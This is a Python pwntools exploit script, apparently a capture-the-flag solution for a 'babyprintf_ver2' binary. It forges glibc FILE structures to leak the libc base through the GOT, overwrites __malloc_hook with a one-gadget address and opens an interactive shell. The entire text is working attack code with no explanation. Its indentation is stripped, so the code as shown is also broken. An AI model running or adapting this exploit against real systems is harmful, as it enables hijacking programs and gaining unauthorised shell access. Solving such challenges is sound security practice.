from pwn import *
context.log_level = 'debug'
# context.arch = 'amd64'
libc = ELF('./libc-2.27.so')
file = './babyprintf_ver2'
elf = ELF(file)
shellcode = asm(shellcraft.sh())
local = 1
if local:
io = process(file)
else:
io = remote('node4.buuoj.cn',25727)
def debug():
gdb.attach(io)
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
li('_IO_write_base',_IO_write_base)
file_struct = file_struct.ljust(0x88, b"\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, b"\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, b'\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, b"\x00")
return file_struct
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
li = lambda name,x : log.info(name+':'+hex(x))
shell = lambda : io.interactive()
ru('location to 0x')
ahello = int(rx(12),16)
li('ahello',ahello)
pie_base = ahello - 0x202010
li('pie_base',pie_base)
buf = ahello
flag = 0
flag &= ~8
flag |= 0x800
flag |= 0x8000 ####import
li('flag',flag)
where = pie_base + elf.got['read']
fake_file = pack_file(_flags = flag,
_IO_read_end = where,
_IO_write_base = where,
_IO_write_ptr = where + 8,
_fileno = 1)
pay1 = b'A' * 16
pay1 += p64(buf + 32)
pay1 += p64(0)
pay1 += fake_file
io.recvuntil('Have fun!\n')
sl(pay1)
read_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
li('read_addr',read_addr)
libcbase = read_addr - libc.sym['read']
li('libcbase',libcbase)
malloc_hook = libcbase + libc.sym['__malloc_hook']
one = libcbase + 0x10a41c
li('one',one)
flag = 0
flag &= ~8
flag |= 0x8000
fake_file = pack_file(_flags = flag,
_IO_write_ptr = malloc_hook,
_IO_write_end = malloc_hook + 8,
)
pay2 = p64(one) + p64(0) + p64(buf+32) + p64(0) + fake_file
sl(pay2)
sl("%n")
shell()
